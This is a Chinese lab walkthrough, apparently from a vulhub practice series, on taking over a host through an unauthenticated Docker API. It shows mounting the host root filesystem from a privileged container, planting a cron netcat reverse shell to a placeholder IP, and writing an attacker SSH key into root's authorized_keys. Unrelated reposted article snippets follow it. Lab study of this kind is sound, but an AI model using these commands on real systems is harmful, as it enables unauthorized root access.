vulhub通关笔记1—docker unauthorized-rce

1.docker unauthorized-rce 基本情况

docker swarm是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供:

  1. 需要在每台机器上安装docker,并且运行Docker Swarm container
  2. 需要一个或多个Swarm manager(主从)来管理docker 节点
  3. 管理的docker节点上需要开放一个TCP端口(2375)来与Swarm manager通信

当Docker守护进程被配置为监听网络端口(通常是TCP端口2375)且未启用适当的身份验证机制时,攻击者可以未经授权访问Docker API。利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。

实际上,这也并非是个漏洞,因为官方文档实际上介绍过上述问题和安全加固方法的(TLS认证或网络访问控制)。

 docker -H tcp://192.168.150.133:2375 ps -a   等同于 docker ps -a

docker -H tcp://192.168.150.133:2375 pull alpline   等同于 docker pull alpline 

2.如何利用

显然,如果能够连接上某个机器的docker api,通过容器逃逸,可以拿到更高的权限。

  • 写公钥,ssh登录
  • 写定时任务,反弹shell

3.环境搭建

要复现这个漏洞,并且成功实现ssh登录或反弹shell,实际上还要调整配置细节。

3.1 vulhub docker环境

由于在国内,docker环境最大的问题是docker源的问题,很多docker源已经失效,阿里巴巴的docker镜像加速只能在阿里巴巴的vps中使用,截止2025年9月,docker镜像源有用是这个:

{"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
}

按照github项目上给出的说明,拉取漏洞镜像,通过http://ip:2375访问,可验证漏洞存在。

但是继续下一步的容器逃逸是难以做到的,因为vulhub起来的是一个有漏洞的容器镜像,它的2375端口映射到宿主机的2375端口,但宿主机本身的docker api没有对外公布,因此,即便容器逃逸也只是拿到了容器的完全控制权。

此外,由于容器本身docker源地址网络不可大,docker pull拉取镜像也会一直失败。

3.2 自己搭建有docker 未授权访问漏洞环境

从清华镜像源,下载Ubuntu最新版本,安装好后。

  • 安装docker
  • 修改docker源
    sudo mkdir -p /etc/docker
    sudo tee /etc/docker/daemon.json <<- 'EOF'
    {"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
    }EOFsudo systemctl daemon-reload && sudo systemctl restart docker
  • 安装openssh 。 输入ssh命令,按照提示部署就行。这一步是必须的,因为默认情况下,Ubuntu系统不会开启ssh服务。
  • 修改docker,开启docker api 对外服务 

找到 /usr/lib/systemd/system

修改docker.service服务,注释掉以前的,保存后重启docker服务。

#ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock

sudo systemctl daemon-reload && sudo systemctl restart docker

3.3 攻击机kali

在清华镜像源中下载kali,安装docker。

4.容器逃逸

4.1 拿到文件系统权限

基本思路,就是挂载根目录到容器中。

首先,使用docker拉取一个小容器,,然后进入这个容器,挂载根目录。

docker -H tcp://192.168.150.133:2375 pull alpinedocker -H tcp://192.168.150.133:2375 run -it --privileged alpine  /bin/sh 
fdisk -l #一般会看到很多分区,选择系统分区就行,如果没有提示哪个是系统分区,是因为容器问题,选大的就行
mkdir /mmt
mount /dev/sda2 /mnt
cd /mnt
touch flag.txt # 可以去宿主机根目录看看是否有这个文件

也可以直接 进入容器时候就挂载

docker -H tcp://192.168.150.133:2375 run -it -v /:/mnt alpine /bin/sh

4.2  写定时任务

Ubuntu的定时任务在/var/spool/cron/crontab/root之中,可以用nc工具建立一个反弹shell

官方说明也是这种方式

* * * * * /usr/bin/nc your-ip 21 -e /bin/sh

这里要特别提醒一下, Ubuntu一般禁止使用root用户,因此写入的定时任务大概率不会执行,还有一点是目录记得是/var/spool/cron/crontab/root,不是文档里的/etc/crontabs/root。

4.3 写公钥

利用kali中的工具生产一堆rsa公钥,记住公钥和私钥的位置:

ssh-keygen -t rsa   

在原有的文件系统权限下,复制公钥到公钥文件中(容器界面)

echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWcZibJHyQbAimd9n3WLntDkLQvg1F0qcMnwsiuZmbqCbkmr56lM3ETJ/8zYXCZ7gz3RLhlFipoS6E5yEYkeNEcmskF+XHuU5d3hF6UmfxzqS1zvm1x7QA08YbIhNJdy4KtU54yJWLyEl7Smjiz01f/RToYizejtrNukaYAj4jnHGTFwKNrvpQaY4AhjThRitoXhDVmx+WTliBA71YM/YBac2SHjHh1BVMURdhDNtJWDV11tXmaeTnjSU3kX3rrD7KO2AsN7FysHYa3gSrX+cGj2HEfiCTmle53iHXF5WFwza7abOB/Zh/Ku3u9flxUvhQmNh3+2Abp9O7DDGV7Ggp9lsYR9poIvMntBUoYK8rcnrb0KiLcniw9ogkBtMt8Wx1/mbt/JGj9kzVS2yD4Fitltzut5MQZgaTY+CQUzC+rLD5Cjmao6Lnw/vrwWt2lHD4MUWbFUKuNH79XFPuANApTqi/YP0tETyNCLbQSvnHxVTthndiKVP/k28whr1YgFE= root@kali > /host/root/.ssh/authorized_keys

使用私钥登录

 ssh -i ~/.ssh/id_rsa root@192.168.150.133   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/95805.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/95805.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

zotero扩容

最近出差&#xff0c;想要把本地的主机上的文件同步到笔记本&#xff0c;发现zotero不够用&#xff0c;然后寻找了一些zotero扩容的方法&#xff0c;这里记录一下&#xff0c;方便以后查阅。 zotero扩容创建账户登录账户进一步扩容设置Apps Connection设置zoterozotero自带同步…

Kafka基础理论

Kafka概述 kafka是一个分布式的基于发布/订阅模式的消息队列&#xff0c;主要用于大数据实时处理领域。kafka采取了发布/订阅模式&#xff0c;消息的发布者不会将消息直接发送给特定的订阅者&#xff0c;而是将发布的消息分为不同的类别&#xff0c;订阅者只接受感兴趣的消息。…

苍穹外卖项目实战(day-5完整版)-记录实战教程及问题的解决方法

Redis基本操作及下载安装包&#xff08;Redis及可视化工具&#xff09;&#xff0c;都在我的上一篇文章&#xff1a;Redis基本知识及简单操作&#xff0c;这里不再赘述 店铺营业状态修改功能 &#xff08;1&#xff09;需求分析与设计 &#xff08;2&#xff09;SpringDataRe…

第R8周:RNN实现阿尔兹海默病诊断

数据集包含2149名患者的广泛健康信息&#xff0c;每名缓则的ID范围从4751到6900不等&#xff0c;该数据集包含人口统计详细信息&#xff0c;生活方式因素、病史、临床测量、认知和功能评估、症状以及阿尔兹海默症的诊断。 一、准备工作 1、硬件准备 import numpy as np import …

MySQL复制技术的发展历程

在互联网应用不断发展的二十多年里&#xff0c;MySQL 一直是最广泛使用的开源关系型数据库之一。它凭借开源、轻量、灵活的优势&#xff0c;支撑了无数网站、移动应用和企业系统。支撑 MySQL 长期发展的关键之一&#xff0c;就是 复制&#xff08;Replication&#xff09;技术。…

C++从字符串中移除前导零

该程序用于去除字符串开头的零字符。当输入"0000123456"时&#xff0c;程序会输出"123456"。核心函数removeZero()通过while循环找到第一个非零字符的位置&#xff0c;然后使用erase()方法删除前面的所有零。主函数读取输入字符串并调用该函数处理。程序简…

【面试题】C++系列(一)

本专栏文章持续更新&#xff0c;新增内容使用蓝色表示。C面向对象的三大特性&#xff1a;封装&#xff0c;继承&#xff0c;多态&#xff08;1&#xff09;封装是将数据和函数组合到一个类里。主要目的是隐藏内部的实现细节&#xff0c;仅暴露必要的接口给外部。通过封装&#…

当没办法实现从win复制东西到Linux虚拟机时的解决办法

① 先确认是否已安装bash复制sudo apt list --installed | grep open-vm-tools如果 没有任何回显 → 没装&#xff0c;跳到 ③如果看到 open-vm-tools 已安装 → 继续 ②② 启动正确的服务&#xff08;单词别打错&#xff09;bash复制systemctl status vmtoolsd # 查看…

用Markdown写自动化用例:Gauge实战全攻略!

你作为一名自动化测试工程师&#xff0c;正在为一个复杂的Web应用编写测试脚本&#xff1a;传统工具要求写大量代码&#xff0c;维护起来像解谜游戏&#xff0c;团队非技术成员完全插不上手。这时&#xff0c;Gauge这个“自动化神器”如魔法般出现——它允许用Markdown写可读的…

Unity开发保姆级教程:C#脚本+物理系统+UI交互,3大模块带你通关游戏开发

文章目录基础概念Unity开发环境搭建版本选择&#xff1a;为什么2021 LTS是最佳起点&#xff1f;三步安装&#xff1a;从下载到项目创建界面认知&#xff1a;5分钟掌握核心操作区配置优化&#xff1a;让开发更顺畅验证环境&#xff1a;创建你的第一个CubeC#基础语法与Unity脚本结…

Depth Anything V2论文速读

这篇论文主要讲了两方面1.为了解决模型在正常标注的现实图像上训练的缺陷问题、提出了新的模型训练数据和训练方法真实标记图像存在缺点&#xff1a;标签噪声&#xff08;深度传感器可能存在空洞、玻璃等物体反射导致精度不准确&#xff09;、标签细节粗糙&#xff08;深度图边…

数据库原理及应用_数据库管理和保护_第5章数据库的安全性_理论部分

前言 "<数据库原理及应用>(MySQL版)".以下称为"本书"中第5章前6节内容 引入 数据库的安全性是非常重要的,表现在两个方面:一数据的访问权限,二数据的物理安全.本书在这一章前6节基本上都是理论性的内容,选择其中重要部分进行解读. 5.1数据库安全性…

QT6 配置 Copilot插件

下载项目&#xff1a;解压 GitHub - github/copilot.vim: Neovim plugin for GitHub Copilot Node.js必须安装 Node.js — Download Node.js 例如先安装一个qt6 ,qt Cteatror选择新版本的 设置 效果&#xff0c;注释里面写要求&#xff0c;tab同意 #include "mainwindow…

ArcGIS学习-15 实战-建设用地适宜性评价

选定参评因子 高程坡度河流道路土地利用 确定因子分析标准 以下仅参数仅做展示&#xff0c;并非合理的数值 高程 0-100m&#xff1a;100 分&#xff0c;此高程范围通常地势较为平坦&#xff0c;建设成本相对较低&#xff0c;适宜建设。100-200m&#xff1a;70 分&#xff…

[C/C++学习] 7.“旋转蛇“视觉图形生成

参考文献: 童晶. C和C游戏趣味编程[M].人民邮电出版社.2021. 一.弧度制和角度制的转换 弧度制数值和角度对应表: (PI为圆周率&#xff0c;值为3.1415926)弧度制角度制00PI/630PI/360PI/2902*PI/3120PI1802*PI360二.扇形的绘制 easyx的solidpie( )函数用于在一个矩形区域内绘制…

自然语言处理之PyTorch实现词袋CBOW模型

在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;词向量&#xff08;Word Embedding&#xff09;是将文本转换为数值向量的核心技术。它能让计算机“理解”词语的语义关联&#xff0c;例如“国王”和“女王”的向量差可能与“男人”和“女人”的向量差相似。而Word2…

TCP, 三次握手, 四次挥手, 滑动窗口, 快速重传, 拥塞控制, 半连接队列, RST, SYN, ACK

目录 TCP 是什么&#xff1a;面向连接 可靠 字节流三次握手&#xff1a;为什么不是两次四次挥手与 TIME_WAIT&#xff1a;谁等谁序列号/确认号与去重、排序、确认重传机制&#xff1a;超时重传与快速重传滑动窗口与流量控制拥塞控制&#xff1a;慢启动/拥塞避免/快重传/快恢…

CentOS 7.2 虚机 ssh 登录报错在重启后无法进入系统

文章目录前言1. 故障描述2. 故障诊断3. 故障原因4. 解决方案总结前言 上周帮用户处理了一个 linux 虚拟机在重启后无法正常进入操作系统的故障&#xff0c;觉得比较有意思&#xff0c;在这里分享给大家。 1. 故障描述 事情的起因是一台系统版本为 CentOS 7.2 的 VMware 虚拟机…

《从使用到源码:OkHttp3责任链模式剖析》

一 从使用开始0.依赖引入implementation ("com.squareup.okhttp3:okhttp:3.14.7")1.创建OkHttpClient实例方式一&#xff1a;直接使用默认配置的Builder//从源码可以看出&#xff0c;当我们直接new创建OkHttpClient实例时&#xff0c;会默认给我们配置好一个Builder …

安装3DS MAX 2026后,无法运行,提示缺少.net core的解决方案

今天安装了3DS MAX 2026&#xff08;俗称3DMAX&#xff09;&#xff0c;安装完毕后死活运行不了。提示如下&#xff1a; 大意是找不到所需的.NET Core 8库文件。后来搜索了下&#xff0c;各种文章说.NET CORE和.NET FRAMEWORK不是一个东西。需要单独下载安装。然后根据提示&…